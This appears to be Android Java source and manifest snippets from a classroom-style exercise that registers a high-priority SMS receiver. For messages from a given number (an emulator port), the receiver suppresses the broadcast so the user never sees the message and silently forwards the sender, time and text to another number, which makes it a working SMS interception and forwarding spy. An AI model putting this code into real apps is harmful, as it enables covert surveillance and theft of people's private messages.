package com.njupt.t4; 

import android.os.Bundle; 
import android.app.Activity; 
import android.content.IntentFilter; 
import android.view.Menu; 

public class MainActivity extends Activity { 

    private SmsReceiver receiver = new SmsReceiver(); 
    @Override 
    protected void onCreate(Bundle savedInstanceState) { 
        super.onCreate(savedInstanceState); 
        setContentView(R.layout.activity_main); 

        IntentFilter filter = new IntentFilter(); 
        filter.setPriority(997); 
        filter.addAction("android.provider.Telephony.SMS_RECEIVED"); 
        registerReceiver(receiver,filter); 
    } 

    @Override 
    public boolean onCreateOptionsMenu(Menu menu) { 
        // Inflate the menu; this adds items to the action bar if it is present. 
        getMenuInflater().inflate(R.menu.main, menu); 
        return true; 
    } 

    @Override 
    protected void onDestroy() { 
        super.onDestroy(); 

        unregisterReceiver(receiver); 
    } 
} 

package com.njupt.t4; 

import java.text.SimpleDateFormat; 
import android.content.BroadcastReceiver; 
import android.content.Context; 
import android.content.Intent; 
import android.os.Bundle; 
import android.telephony.SmsManager; 
import android.telephony.SmsMessage; 

public class SmsReceiver extends BroadcastReceiver { 

    @Override 
    public void onReceive(Context context, Intent intent) { 

        System.out.println("章澤天是我老婆,老婆我成功了...."); 
        Bundle bundle = intent.getExtras(); 
        Object[] objects = (Object[]) bundle.get("pdus"); 
        for(Object obj : objects){ 
            SmsMessage smsMessage = SmsMessage.createFromPdu((byte[])obj); 
            String body = smsMessage.getDisplayMessageBody(); 
            String address = smsMessage.getDisplayOriginatingAddress(); 
            long date = smsMessage.getTimestampMillis(); 

            SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); 
            String dateStr = format.format(date); 

            System.out.println(address +" 于  " + dateStr + "給你發了以下內容: " + body); 

            if(address.equals("5558")){ 
                abortBroadcast(); 
                SmsManager smsManager = SmsManager.getDefault(); 
                smsManager.sendTextMessage("5556",null,address +" 于  " + dateStr + "給你發了以下內容: " + body,null,null); 

            } 
        } 
    } 

} 

<uses-permission android:name="android.permission.RECEIVE_SMS"/> 
   <uses-permission android:name="android.permission.SEND_SMS"/> 
   <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/> 

<receiver android:name=".SmsReceiver"> 
            <intent-filter android:priority="1000"> 
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/> 
            </intent-filter> 
        </receiver>